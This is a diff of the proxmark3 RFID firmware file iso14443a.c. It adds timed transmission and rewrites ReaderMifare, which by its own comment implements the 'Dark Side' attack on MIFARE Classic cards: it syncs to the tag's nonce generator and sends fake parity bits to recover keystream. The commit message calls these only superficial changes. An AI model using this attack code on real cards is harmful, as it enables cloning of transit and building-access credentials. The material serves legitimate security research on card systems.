Only superficial changes, to get rid of compiler warnings

[proxmark3-svn] / armsrc / iso14443a.c

diff --git a/armsrc/iso14443a.c b/armsrc/iso14443a.c
index 0a5512b48ea6bd46c1642ec04f0c8630c00cb389..bd7e758d0b0796ac62883060a8923d876ed0b42c 100644 (file)
--- a/armsrc/iso14443a.c
+++ b/armsrc/iso14443a.c
@@ -1218,47 +1218,75 @@ void SimulateIso14443aTag(int tagType, int uid_1st, int uid_2nd, byte_t* data)
        LED_A_OFF();
 }
 
        LED_A_OFF();
 }
 

+
+// prepare a delayed transfer. This simply shifts ToSend[] by a number
+// of bits specified in the delay parameter.
+void PrepareDelayedTransfer(uint16_t delay)
+{
+       uint8_t bitmask = 0;
+       uint8_t bits_to_shift = 0;
+       uint8_t bits_shifted = 0;
+       
+       delay &= 0x07;
+       if (delay) {
+               for (uint16_t i = 0; i < delay; i++) {
+                       bitmask |= (0x01 << i);
+               }
+               ToSend[++ToSendMax] = 0x00;
+               for (uint16_t i = 0; i < ToSendMax; i++) {
+                       bits_to_shift = ToSend[i] & bitmask;
+                       ToSend[i] = ToSend[i] >> delay;
+                       ToSend[i] = ToSend[i] | (bits_shifted << (8 - delay));
+                       bits_shifted = bits_to_shift;
+               }
+       }
+}
+
+
+
+

 //-----------------------------------------------------------------------------
 // Transmit the command (to the tag) that was placed in ToSend[].
 //-----------------------------------------------------------------------------
 // Transmit the command (to the tag) that was placed in ToSend[].

+// Parameter timing:
+// if NULL: ignored
+// if == 0:    return time of transfer
+// if != 0: delay transfer until time specified

 //-----------------------------------------------------------------------------
 //-----------------------------------------------------------------------------

-static void TransmitFor14443a(const uint8_t *cmd, int len, int *samples, int *wait)
+static void TransmitFor14443a(const uint8_t *cmd, int len, uint32_t *timing)

 {
 {

-  int c;
+       int c;

 
 

-  FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_MOD);
+       FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_MOD);

 
 

-       if (wait)
-    if(*wait < 10)
-      *wait = 10;

 
 

-  for(c = 0; c < *wait;) {
-    if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) {
-      AT91C_BASE_SSC->SSC_THR = 0x00;          // For exact timing!
-      c++;
-    }
-    if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) {
-      volatile uint32_t r = AT91C_BASE_SSC->SSC_RHR;
-      (void)r;
-    }
-    WDT_HIT();
-  }
+       if (timing) {
+               if(*timing == 0) {                                                                              // Measure time
+                       *timing = (GetCountMifare() + 8) & 0xfffffff8;
+               } else {
+                       PrepareDelayedTransfer(*timing & 0x00000007);           // Delay transfer (fine tuning - up to 7 MF clock ticks)
+               }
+               if(MF_DBGLEVEL >= 4 && GetCountMifare() >= (*timing & 0xfffffff8)) Dbprintf("TransmitFor14443a: Missed timing");
+               while(GetCountMifare() < (*timing & 0xfffffff8));               // Delay transfer (multiple of 8 MF clock ticks)
+       }
+
+       for(c = 0; c < 10;) {   // standard delay for each transfer (allow tag to be ready after last transmission)
+               if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) {
+                       AT91C_BASE_SSC->SSC_THR = 0x00; 
+                       c++;
+               }
+       }
+       
+       c = 0;
+       for(;;) {
+               if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) {
+                       AT91C_BASE_SSC->SSC_THR = cmd[c];
+                       c++;
+                       if(c >= len) {
+                               break;
+                       }
+               }
+       }

 
 

-  c = 0;
-  for(;;) {
-    if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) {
-      AT91C_BASE_SSC->SSC_THR = cmd[c];
-      c++;
-      if(c >= len) {
-        break;
-      }
-    }
-    if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) {
-      volatile uint32_t r = AT91C_BASE_SSC->SSC_RHR;
-      (void)r;
-    }
-    WDT_HIT();
-  }
-       if (samples) *samples = (c + *wait) << 3;

 }
 
 //-----------------------------------------------------------------------------
 }
 
 //-----------------------------------------------------------------------------


@@ -1515,7 +1543,7 @@ static int GetIso14443aAnswerFromTag(uint8_t *receivedResponse, int maxLen, int
        // Signal field is on with the appropriate LED
        LED_D_ON();
        FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_LISTEN);
        // Signal field is on with the appropriate LED
        LED_D_ON();
        FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_LISTEN);

-
+       

        // Now get the answer from the card
        Demod.output = receivedResponse;
        Demod.len = 0;
        // Now get the answer from the card
        Demod.output = receivedResponse;
        Demod.len = 0;


@@ -1528,10 +1556,10 @@ static int GetIso14443aAnswerFromTag(uint8_t *receivedResponse, int maxLen, int
        for(;;) {
                WDT_HIT();
 
        for(;;) {
                WDT_HIT();
 

-               if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) {
-                       AT91C_BASE_SSC->SSC_THR = 0x00;  // To make use of exact timing of next command from reader!!
-                       if (elapsed) (*elapsed)++;
-               }
+               // if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) {
+                       // AT91C_BASE_SSC->SSC_THR = 0x00;  // To make use of exact timing of next command from reader!!
+                       // if (elapsed) (*elapsed)++;
+               // }

                if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) {
                        if(c < iso14a_timeout) { c++; } else { return FALSE; }
                        b = (uint8_t)AT91C_BASE_SSC->SSC_RHR;
                if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) {
                        if(c < iso14a_timeout) { c++; } else { return FALSE; }
                        b = (uint8_t)AT91C_BASE_SSC->SSC_RHR;


@@ -1547,17 +1575,13 @@ static int GetIso14443aAnswerFromTag(uint8_t *receivedResponse, int maxLen, int
        }
 }
 
        }
 }
 

-void ReaderTransmitBitsPar(uint8_t* frame, int bits, uint32_t par)
+void ReaderTransmitBitsPar(uint8_t* frame, int bits, uint32_t par, uint32_t *timing)

 {
 {

-  int wait = 0;
-  int samples = 0;
-  
-  // This is tied to other size changes
-  //   uint8_t* frame_addr = ((uint8_t*)BigBuf) + 2024;
+ 

   CodeIso14443aBitsAsReaderPar(frame,bits,par);
   
   // Select the card
   CodeIso14443aBitsAsReaderPar(frame,bits,par);
   
   // Select the card

-  TransmitFor14443a(ToSend, ToSendMax, &samples, &wait);
+  TransmitFor14443a(ToSend, ToSendMax, timing);

   if(trigger)
        LED_A_ON();
   
   if(trigger)
        LED_A_ON();
   


@@ -1565,15 +1589,15 @@ void ReaderTransmitBitsPar(uint8_t* frame, int bits, uint32_t par)
   if (tracing) LogTrace(frame,nbytes(bits),0,par,TRUE);
 }
 
   if (tracing) LogTrace(frame,nbytes(bits),0,par,TRUE);
 }
 

-void ReaderTransmitPar(uint8_t* frame, int len, uint32_t par)
+void ReaderTransmitPar(uint8_t* frame, int len, uint32_t par, uint32_t *timing)

 {
 {

-  ReaderTransmitBitsPar(frame,len*8,par);
+  ReaderTransmitBitsPar(frame,len*8,par, timing);

 }
 
 }
 

-void ReaderTransmit(uint8_t* frame, int len)
+void ReaderTransmit(uint8_t* frame, int len, uint32_t *timing)

 {
   // Generate parity and redirect
 {
   // Generate parity and redirect

-  ReaderTransmitBitsPar(frame,len*8,GetParity(frame,len));
+  ReaderTransmitBitsPar(frame,len*8,GetParity(frame,len), timing);

 }
 
 int ReaderReceive(uint8_t* receivedAnswer)
 }
 
 int ReaderReceive(uint8_t* receivedAnswer)


@@ -1612,11 +1636,11 @@ int iso14443a_select_card(byte_t* uid_ptr, iso14a_card_select_t* p_hi14a_card, u
   int len;
         
   // Broadcast for a card, WUPA (0x52) will force response from all cards in the field
   int len;
         
   // Broadcast for a card, WUPA (0x52) will force response from all cards in the field

-  ReaderTransmitBitsPar(wupa,7,0);
+    ReaderTransmitBitsPar(wupa,7,0, NULL);

   // Receive the ATQA
   if(!ReaderReceive(resp)) return 0;
 //  Dbprintf("atqa: %02x %02x",resp[0],resp[1]);
   // Receive the ATQA
   if(!ReaderReceive(resp)) return 0;
 //  Dbprintf("atqa: %02x %02x",resp[0],resp[1]);

-  
+

   if(p_hi14a_card) {
     memcpy(p_hi14a_card->atqa, resp, 2);
     p_hi14a_card->uidlen = 0;
   if(p_hi14a_card) {
     memcpy(p_hi14a_card->atqa, resp, 2);
     p_hi14a_card->uidlen = 0;


@@ -1625,7 +1649,7 @@ int iso14443a_select_card(byte_t* uid_ptr, iso14a_card_select_t* p_hi14a_card, u
        
   // clear uid
   if (uid_ptr) {
        
   // clear uid
   if (uid_ptr) {

-    memset(uid_ptr,0,8);
+    memset(uid_ptr,0,10);

   }
 
   // OK we will select at least at cascade 1, lets see if first byte of UID was 0x88 in
   }
 
   // OK we will select at least at cascade 1, lets see if first byte of UID was 0x88 in


@@ -1636,7 +1660,7 @@ int iso14443a_select_card(byte_t* uid_ptr, iso14a_card_select_t* p_hi14a_card, u
     sel_uid[0] = sel_all[0] = 0x93 + cascade_level * 2;
 
     // SELECT_ALL
     sel_uid[0] = sel_all[0] = 0x93 + cascade_level * 2;
 
     // SELECT_ALL

-    ReaderTransmit(sel_all,sizeof(sel_all));
+    ReaderTransmit(sel_all,sizeof(sel_all), NULL);

     if (!ReaderReceive(resp)) return 0;
     
     // First backup the current uid
     if (!ReaderReceive(resp)) return 0;
     
     // First backup the current uid


@@ -1644,15 +1668,15 @@ int iso14443a_select_card(byte_t* uid_ptr, iso14a_card_select_t* p_hi14a_card, u
     uid_resp_len = 4;
     //    Dbprintf("uid: %02x %02x %02x %02x",uid_resp[0],uid_resp[1],uid_resp[2],uid_resp[3]);
     
     uid_resp_len = 4;
     //    Dbprintf("uid: %02x %02x %02x %02x",uid_resp[0],uid_resp[1],uid_resp[2],uid_resp[3]);
     

-               // calculate crypto UID
-               if(cuid_ptr) {
-      *cuid_ptr = bytes_to_num(uid_resp, 4);
+       // calculate crypto UID. Always use last 4 Bytes.
+       if(cuid_ptr) {
+               *cuid_ptr = bytes_to_num(uid_resp, 4);

     }
 
     // Construct SELECT UID command
                memcpy(sel_uid+2,resp,5);
     AppendCrc14443a(sel_uid,7);
     }
 
     // Construct SELECT UID command
                memcpy(sel_uid+2,resp,5);
     AppendCrc14443a(sel_uid,7);

-    ReaderTransmit(sel_uid,sizeof(sel_uid));
+    ReaderTransmit(sel_uid,sizeof(sel_uid), NULL);

 
     // Receive the SAK
     if (!ReaderReceive(resp)) return 0;
 
     // Receive the SAK
     if (!ReaderReceive(resp)) return 0;


@@ -1687,8 +1711,8 @@ int iso14443a_select_card(byte_t* uid_ptr, iso14a_card_select_t* p_hi14a_card, u
 
   // Request for answer to select
   AppendCrc14443a(rats, 2);
 
   // Request for answer to select
   AppendCrc14443a(rats, 2);

-  ReaderTransmit(rats, sizeof(rats));
-  
+  ReaderTransmit(rats, sizeof(rats), NULL);
+

   if (!(len = ReaderReceive(resp))) return 0;
 
   if(p_hi14a_card) {
   if (!(len = ReaderReceive(resp))) return 0;
 
   if(p_hi14a_card) {


@@ -1702,13 +1726,13 @@ int iso14443a_select_card(byte_t* uid_ptr, iso14a_card_select_t* p_hi14a_card, u
 }
 
 void iso14443a_setup() {
 }
 
 void iso14443a_setup() {

-  // Set up the synchronous serial port
-  FpgaSetupSsc();
+       // Set up the synchronous serial port
+       FpgaSetupSsc();

        // Start from off (no field generated)
        // Signal field is off with the appropriate LED
        // Start from off (no field generated)
        // Signal field is off with the appropriate LED

-       LED_D_OFF();
-       FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
-       SpinDelay(50);
+//     LED_D_OFF();
+//     FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
+       // SpinDelay(50);

 
        SetAdcMuxFor(GPIO_MUXSEL_HIPKD);
 
 
        SetAdcMuxFor(GPIO_MUXSEL_HIPKD);
 


@@ -1716,7 +1740,7 @@ void iso14443a_setup() {
        // Signal field is on with the appropriate LED
        LED_D_ON();
        FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_MOD);
        // Signal field is on with the appropriate LED
        LED_D_ON();
        FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_MOD);

-       SpinDelay(50);
+       SpinDelay(7); // iso14443-3 specifies 5ms max.

 
        iso14a_timeout = 2048; //default
 }
 
        iso14a_timeout = 2048; //default
 }


@@ -1730,7 +1754,7 @@ int iso14_apdu(uint8_t * cmd, size_t cmd_len, void * data) {
        memcpy(real_cmd+2, cmd, cmd_len);
        AppendCrc14443a(real_cmd,cmd_len+2);
  
        memcpy(real_cmd+2, cmd, cmd_len);
        AppendCrc14443a(real_cmd,cmd_len+2);
  

-       ReaderTransmit(real_cmd, cmd_len+4);
+       ReaderTransmit(real_cmd, cmd_len+4, NULL);

        size_t len = ReaderReceive(data);
        uint8_t * data_bytes = (uint8_t *) data;
        if (!len)
        size_t len = ReaderReceive(data);
        uint8_t * data_bytes = (uint8_t *) data;
        if (!len)


@@ -1757,21 +1781,20 @@ void ReaderIso14443a(UsbCommand * c)
        iso14a_command_t param = c->arg[0];
        uint8_t * cmd = c->d.asBytes;
        size_t len = c->arg[1];
        iso14a_command_t param = c->arg[0];
        uint8_t * cmd = c->d.asBytes;
        size_t len = c->arg[1];

-  uint32_t arg0 = 0;
-  byte_t buf[USB_CMD_DATA_SIZE];
+       uint32_t arg0 = 0;
+       byte_t buf[USB_CMD_DATA_SIZE];

   
   

-  iso14a_clear_trace();
-  iso14a_set_tracing(true);
+       iso14a_clear_trace();
+       iso14a_set_tracing(true);

 
        if(param & ISO14A_REQUEST_TRIGGER) {
 
        if(param & ISO14A_REQUEST_TRIGGER) {

-    iso14a_set_trigger(1);
-  }
+               iso14a_set_trigger(1);
+       }

 
        if(param & ISO14A_CONNECT) {
                iso14443a_setup();
 
        if(param & ISO14A_CONNECT) {
                iso14443a_setup();

-               arg0 = iso14443a_select_card(NULL,(iso14a_card_select_t*)buf,NULL);
+               arg0 = iso14443a_select_card(NULL, (iso14a_card_select_t*)buf, NULL);

                cmd_send(CMD_ACK,arg0,0,0,buf,sizeof(iso14a_card_select_t));
                cmd_send(CMD_ACK,arg0,0,0,buf,sizeof(iso14a_card_select_t));

-//    UsbSendPacket((void *)ack, sizeof(UsbCommand));

        }
 
        if(param & ISO14A_SET_TIMEOUT) {
        }
 
        if(param & ISO14A_SET_TIMEOUT) {


@@ -1785,7 +1808,6 @@ void ReaderIso14443a(UsbCommand * c)
        if(param & ISO14A_APDU) {
                arg0 = iso14_apdu(cmd, len, buf);
                cmd_send(CMD_ACK,arg0,0,0,buf,sizeof(buf));
        if(param & ISO14A_APDU) {
                arg0 = iso14_apdu(cmd, len, buf);
                cmd_send(CMD_ACK,arg0,0,0,buf,sizeof(buf));

-//             UsbSendPacket((void *)ack, sizeof(UsbCommand));

        }
 
        if(param & ISO14A_RAW) {
        }
 
        if(param & ISO14A_RAW) {


@@ -1793,347 +1815,251 @@ void ReaderIso14443a(UsbCommand * c)
                        AppendCrc14443a(cmd,len);
                        len += 2;
                }
                        AppendCrc14443a(cmd,len);
                        len += 2;
                }

-               ReaderTransmit(cmd,len);
+               ReaderTransmit(cmd,len, NULL);

                arg0 = ReaderReceive(buf);
                arg0 = ReaderReceive(buf);

-//             UsbSendPacket((void *)ack, sizeof(UsbCommand));
-    cmd_send(CMD_ACK,arg0,0,0,buf,sizeof(buf));
+               cmd_send(CMD_ACK,arg0,0,0,buf,sizeof(buf));

        }
 
        if(param & ISO14A_REQUEST_TRIGGER) {
        }
 
        if(param & ISO14A_REQUEST_TRIGGER) {

-    iso14a_set_trigger(0);
-  }
+               iso14a_set_trigger(0);
+       }

 
        if(param & ISO14A_NO_DISCONNECT) {
                return;
 
        if(param & ISO14A_NO_DISCONNECT) {
                return;

-  }
+       }

 
        FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
        LEDsoff();
 }
 
 
        FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
        LEDsoff();
 }
 

-#define TEST_LENGTH 100
-typedef struct mftest{
-    uint8_t nt[8];
-    uint8_t count;
-}mftest ;
-
-/**
- *@brief Tunes the mifare attack settings. This method checks the nonce entropy when
- *using a specified timeout.
- *Different cards behave differently, some cards require up to a second to power down (and thus reset
- *token generator), other cards are fine with 50 ms.
- *
- * @param time
- * @return the entropy. A value of 100 (%) means that every nonce was unique, while a value close to
- *zero indicates a low entropy: the given timeout is sufficient to power down the card.
- */
-int TuneMifare(int time)
-{
-    // Mifare AUTH
-    uint8_t mf_auth[]    = { 0x60,0x00,0xf5,0x7b };
-    //uint8_t mf_nr_ar[]   = { 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 };
-    uint8_t* receivedAnswer = (((uint8_t *)BigBuf) + FREE_BUFFER_OFFSET);      // was 3560 - tied to other size changes
-
-    iso14443a_setup();
-    int TIME1=time;
-    int TIME2=2000;
-    uint8_t uid[8];
-    uint32_t cuid;
-    byte_t nt[4];
-    Dbprintf("Tuning... testing a delay of %d ms",time);
-
-
-    mftest nt_values[TEST_LENGTH];
-    int nt_size = 0;
-    int i = 0;
-    for(i = 0 ; i< 100 ; i++)
-    {
-        LED_C_OFF();
-        FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
-        SpinDelay(TIME1);
-        FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_MOD);
-        LED_C_ON();
-        SpinDelayUs(TIME2);
-        if(!iso14443a_select_card(uid, NULL, &cuid)) continue;
-
-        // Transmit MIFARE_CLASSIC_AUTH
-        ReaderTransmit(mf_auth, sizeof(mf_auth));
-
-        // Receive the (16 bit) "random" nonce
-        if (!ReaderReceive(receivedAnswer)) continue;
-        memcpy(nt, receivedAnswer, 4);
-
-        //store it
-        int already_stored = 0;
-        for(int i =  0 ; i < nt_size && !already_stored; i++)
-        {
-            if( memcmp(nt, nt_values[i].nt, 4) == 0)
-            {
-                nt_values[i].count++;
-                already_stored = 1;
-            }
-        }
-        if(!already_stored)
-        {
-            mftest* ptr= &nt_values[nt_size++];
-            //Clear it before use
-            memset(ptr, 0, sizeof(mftest));
-            memcpy(ptr->nt, nt, 4);
-            ptr->count = 1;
-        }

 
 

-        if(BUTTON_PRESS())
-        {
-            Dbprintf("Tuning aborted prematurely");
-            break;
-        }
-    }
-    /*
-    for(int i = 0 ; i < nt_size;i++){
-        mftest x = nt_values[i];
-        Dbprintf("%d,%d,%d,%d   : %d",x.nt[0],x.nt[1],x.nt[2],x.nt[3],x.count);
-    }
-    */
-    int result = nt_size *100 / i;
-    Dbprintf("      ... results for %d ms : %d %",time, result);
-    return result;
+// Determine the distance between two nonces.
+// Assume that the difference is small, but we don't know which is first.
+// Therefore try in alternating directions.
+int32_t dist_nt(uint32_t nt1, uint32_t nt2) {
+
+       uint16_t i;
+       uint32_t nttmp1, nttmp2;
+
+       if (nt1 == nt2) return 0;
+
+       nttmp1 = nt1;
+       nttmp2 = nt2;
+       
+       for (i = 1; i < 32768; i++) {
+               nttmp1 = prng_successor(nttmp1, 1);
+               if (nttmp1 == nt2) return i;
+               nttmp2 = prng_successor(nttmp2, 1);
+                       if (nttmp2 == nt1) return -i;
+               }
+       
+       return(-99999); // either nt1 or nt2 are invalid nonces

 }
 
 }
 

+

 //-----------------------------------------------------------------------------
 //-----------------------------------------------------------------------------

-// Read an ISO 14443a tag. Send out commands and store answers.
-//
+// Recover several bits of the cypher stream. This implements (first stages of)
+// the algorithm described in "The Dark Side of Security by Obscurity and
+// Cloning MiFare Classic Rail and Building Passes, Anywhere, Anytime"
+// (article by Nicolas T. Courtois, 2009)

 //-----------------------------------------------------------------------------
 //-----------------------------------------------------------------------------

-#define STATE_SIZE 100
-typedef struct AttackState{
-    byte_t nt[4];
-    //byte_t nt_attacked[4];
-    byte_t par_list[8];
-    byte_t ks_list[8];
-    byte_t par;
-    byte_t par_low;
-    byte_t nt_diff;
-    uint8_t mf_nr_ar[8];
-} AttackState;
-
-
-int continueAttack(AttackState* pState,uint8_t* receivedAnswer)
+void ReaderMifare(bool first_try)

 {
 {

+       // Mifare AUTH
+       uint8_t mf_auth[]    = { 0x60,0x00,0xf5,0x7b };
+       uint8_t mf_nr_ar[]   = { 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 };
+       static uint8_t mf_nr_ar3;

 
 

-    // Transmit reader nonce and reader answer
-    ReaderTransmitPar(pState->mf_nr_ar, sizeof(pState->mf_nr_ar),pState->par);
-
-    // Receive 4 bit answer
-    int len = ReaderReceive(receivedAnswer);
-    if (!len)
-    {
-        if (pState->nt_diff == 0)
-        {
-            pState->par++;
-        } else {
-            pState->par = (((pState->par >> 3) + 1) << 3) | pState->par_low;
-        }
-        return 2;
-    }
-    if(pState->nt_diff == 0)
-    {
-        pState->par_low = pState->par & 0x07;
-    }
-    //Dbprintf("answer received, parameter (%d), (memcmp(nt, nt_no)=%d",parameter,memcmp(nt, nt_noattack, 4));
-    //if ( (parameter != 0) && (memcmp(nt, nt_noattack, 4) == 0) ) continue;
-    //isNULL =  0;//|| !(nt_attacked[0] == 0) && (nt_attacked[1] == 0) && (nt_attacked[2] == 0) && (nt_attacked[3] == 0);
-     //
-      //  if ( /*(isNULL != 0 ) && */(memcmp(nt, nt_attacked, 4) != 0) ) continue;
-
-    //led_on = !led_on;
-    //if(led_on) LED_B_ON(); else LED_B_OFF();
-    pState->par_list[pState->nt_diff] = pState->par;
-    pState->ks_list[pState->nt_diff] = receivedAnswer[0] ^ 0x05;
-
-    // Test if the information is complete
-    if (pState->nt_diff == 0x07) {
-        return 0;
-    }
+       uint8_t* receivedAnswer = (((uint8_t *)BigBuf) + FREE_BUFFER_OFFSET);
+       traceLen = 0;
+       tracing = false;

 
 

-    pState->nt_diff = (pState->nt_diff + 1) & 0x07;
-    pState->mf_nr_ar[3] = pState->nt_diff << 5;
-    pState->par = pState->par_low;
-    return 1;
-}
+       byte_t nt_diff = 0;
+       byte_t par = 0;
+       //byte_t par_mask = 0xff;
+       static byte_t par_low = 0;
+       bool led_on = TRUE;
+       uint8_t uid[10];
+       uint32_t cuid;

 
 

-void reportResults(uint8_t uid[8],AttackState *pState, int isOK)
-{
-    LogTrace(pState->nt, 4, 0, GetParity(pState->nt, 4), TRUE);
-    LogTrace(pState->par_list, 8, 0, GetParity(pState->par_list, 8), TRUE);
-    LogTrace(pState->ks_list, 8, 0, GetParity(pState->ks_list, 8), TRUE);
-
-    byte_t buf[48];
-    memcpy(buf + 0,  uid, 4);
-    if(pState != NULL)
-    {
-        memcpy(buf + 4,  pState->nt, 4);
-        memcpy(buf + 8,  pState->par_list, 8);
-        memcpy(buf + 16, pState->ks_list, 8);
-    }
+       uint32_t nt, previous_nt;
+       static uint32_t nt_attacked = 0;
+       byte_t par_list[8] = {0,0,0,0,0,0,0,0};
+       byte_t ks_list[8] = {0,0,0,0,0,0,0,0};

 
 

-    LED_B_ON();
-    cmd_send(CMD_ACK,isOK,0,0,buf,48);
-    LED_B_OFF();
+       static uint32_t sync_time;
+       static uint32_t sync_cycles;
+       int catch_up_cycles = 0;
+       int last_catch_up = 0;
+       uint16_t consecutive_resyncs = 0;
+       int isOK = 0;

 
 

-    // Thats it...
-    FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
-    LEDsoff();
-    tracing = TRUE;

 
 

-    if (MF_DBGLEVEL >= 1)      DbpString("COMMAND mifare FINISHED");
-}

 
 

+       if (first_try) { 
+               StartCountMifare();
+               mf_nr_ar3 = 0;
+               iso14443a_setup();
+               while((GetCountMifare() & 0xffff0000) != 0x10000);              // wait for counter to reset and "warm up" 
+               sync_time = GetCountMifare() & 0xfffffff8;
+               sync_cycles = 65536;                                                                    // theory: Mifare Classic's random generator repeats every 2^16 cycles (and so do the nonces).
+               nt_attacked = 0;
+               nt = 0;
+               par = 0;
+       }
+       else {
+               // we were unsuccessful on a previous call. Try another READER nonce (first 3 parity bits remain the same)
+               // nt_attacked = prng_successor(nt_attacked, 1);
+               mf_nr_ar3++;
+               mf_nr_ar[3] = mf_nr_ar3;
+               par = par_low;
+       }

 
 

+       LED_A_ON();
+       LED_B_OFF();
+       LED_C_OFF();
+       
+  
+       for(uint16_t i = 0; TRUE; i++) {
+               
+               WDT_HIT();

 
 

+               // Test if the action was cancelled
+               if(BUTTON_PRESS()) {
+                       break;
+               }
+               
+               LED_C_ON();

 
 

-void ReaderMifare(uint32_t parameter)
-{
-    /**
-     *First, we tune it.
-     **/
-    int entropy = 100;
-    int time = 25;
-    entropy = TuneMifare(time);
-
-    while(entropy > 50 && time < 2000){
-        //Increase timeout, but never more than 500ms at a time
-        time = MIN(time*2, time+500);
-        entropy = TuneMifare(time);
-    }
+               if(!iso14443a_select_card(uid, NULL, &cuid)) {
+                       if (MF_DBGLEVEL >= 1)   Dbprintf("Mifare: Can't select card");
+                       continue;
+               }

 
 

-    if(entropy > 50){
-        Dbprintf("OBS! This card has high entropy (%d) and slow power-down. This may take a while", entropy);
-    }
-    Dbprintf("Using power-down-time of %d ms, entropy %d", time, entropy);
+               //keep the card active
+               FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_MOD);

 
 

-    /**
-     *Allocate our state-table and initialize with zeroes
-     **/
+               // CodeIso14443aBitsAsReaderPar(mf_auth, sizeof(mf_auth)*8, GetParity(mf_auth, sizeof(mf_auth)*8));

 
 

+               sync_time = (sync_time & 0xfffffff8) + sync_cycles + catch_up_cycles;
+               catch_up_cycles = 0;

 
 

-    AttackState states[STATE_SIZE] ;
+               // if we missed the sync time already, advance to the next nonce repeat
+               while(GetCountMifare() > sync_time) {
+                       sync_time = (sync_time & 0xfffffff8) + sync_cycles;
+               }

 
 

+               // Transmit MIFARE_CLASSIC_AUTH at synctime. Should result in returning the same tag nonce (== nt_attacked) 
+               ReaderTransmit(mf_auth, sizeof(mf_auth), &sync_time);

 
 

-    Dbprintf("Memory allocated ok! (%d bytes)",STATE_SIZE*sizeof(AttackState) );
-    memset(states, 0, STATE_SIZE*sizeof(AttackState));
-       // Mifare AUTH
-       uint8_t mf_auth[]    = { 0x60,0x00,0xf5,0x7b };
-       uint8_t* receivedAnswer = (((uint8_t *)BigBuf) + FREE_BUFFER_OFFSET);   // was 3560 - tied to other size changes
+               // Receive the (4 Byte) "random" nonce
+               if (!ReaderReceive(receivedAnswer)) {
+                       if (MF_DBGLEVEL >= 1)   Dbprintf("Mifare: Couldn't receive tag nonce");
+                       continue;
+                 }

 
 

-    traceLen = 0;
-       tracing = false;
+               previous_nt = nt;
+               nt = bytes_to_num(receivedAnswer, 4);

 
 

-       iso14443a_setup();
+               // Transmit reader nonce with fake par
+               ReaderTransmitPar(mf_nr_ar, sizeof(mf_nr_ar), par, NULL);

 
 

-       LED_A_ON();
-       LED_B_OFF();
-       LED_C_OFF();
+               if (first_try && previous_nt && !nt_attacked) { // we didn't calibrate our clock yet
+                       int nt_distance = dist_nt(previous_nt, nt);
+                       if (nt_distance == 0) {
+                               nt_attacked = nt;
+                       }
+                       else {
+                               if (nt_distance == -99999) { // invalid nonce received, try again
+                                       continue;
+                               }
+                               sync_cycles = (sync_cycles - nt_distance);
+                               if (MF_DBGLEVEL >= 3) Dbprintf("calibrating in cycle %d. nt_distance=%d, Sync_cycles: %d\n", i, nt_distance, sync_cycles);
+                               continue;
+                       }
+               }

 
 

-       LED_A_OFF();
-       uint8_t uid[8];
-       uint32_t cuid;
+               if ((nt != nt_attacked) && nt_attacked) {       // we somehow lost sync. Try to catch up again...
+                       catch_up_cycles = -dist_nt(nt_attacked, nt);
+                       if (catch_up_cycles == 99999) {                 // invalid nonce received. Don't resync on that one.
+                               catch_up_cycles = 0;
+                               continue;
+                       }
+                       if (catch_up_cycles == last_catch_up) {
+                               consecutive_resyncs++;
+                       }
+                       else {
+                               last_catch_up = catch_up_cycles;
+                           consecutive_resyncs = 0;
+                       }
+                       if (consecutive_resyncs < 3) {
+                               if (MF_DBGLEVEL >= 3) Dbprintf("Lost sync in cycle %d. nt_distance=%d. Consecutive Resyncs = %d. Trying one time catch up...\n", i, -catch_up_cycles, consecutive_resyncs);
+                       }
+                       else {  
+                               sync_cycles = sync_cycles + catch_up_cycles;
+                               if (MF_DBGLEVEL >= 3) Dbprintf("Lost sync in cycle %d for the fourth time consecutively (nt_distance = %d). Adjusting sync_cycles to %d.\n", i, -catch_up_cycles, sync_cycles);
+                       }
+                       continue;
+               }
+ 
+               consecutive_resyncs = 0;
+               
+               // Receive answer. This will be a 4 Bit NACK when the 8 parity bits are OK after decoding
+               if (ReaderReceive(receivedAnswer))
+               {
+                       catch_up_cycles = 8;    // the PRNG is delayed by 8 cycles due to the NAC (4Bits = 0x05 encrypted) transfer
+       
+                       if (nt_diff == 0)
+                       {
+                               par_low = par & 0x07; // there is no need to check all parities for other nt_diff. Parity Bits for mf_nr_ar[0..2] won't change
+                       }

 
 

-    byte_t nt_noattack[4];
-    num_to_bytes(parameter, 4, nt_noattack);
-    byte_t nt[4];
-    int nts_attacked= 0;
-    //Keeps track of progress (max value of nt_diff for our states)
-    int progress = 0;
-    int high_entropy_warning_issued = 0;
-    while(!BUTTON_PRESS())
-       {
-               LED_C_OFF();
-               FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
-        SpinDelay(time);
-               FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_MOD);
-               LED_C_ON();
-               SpinDelay(2);
-
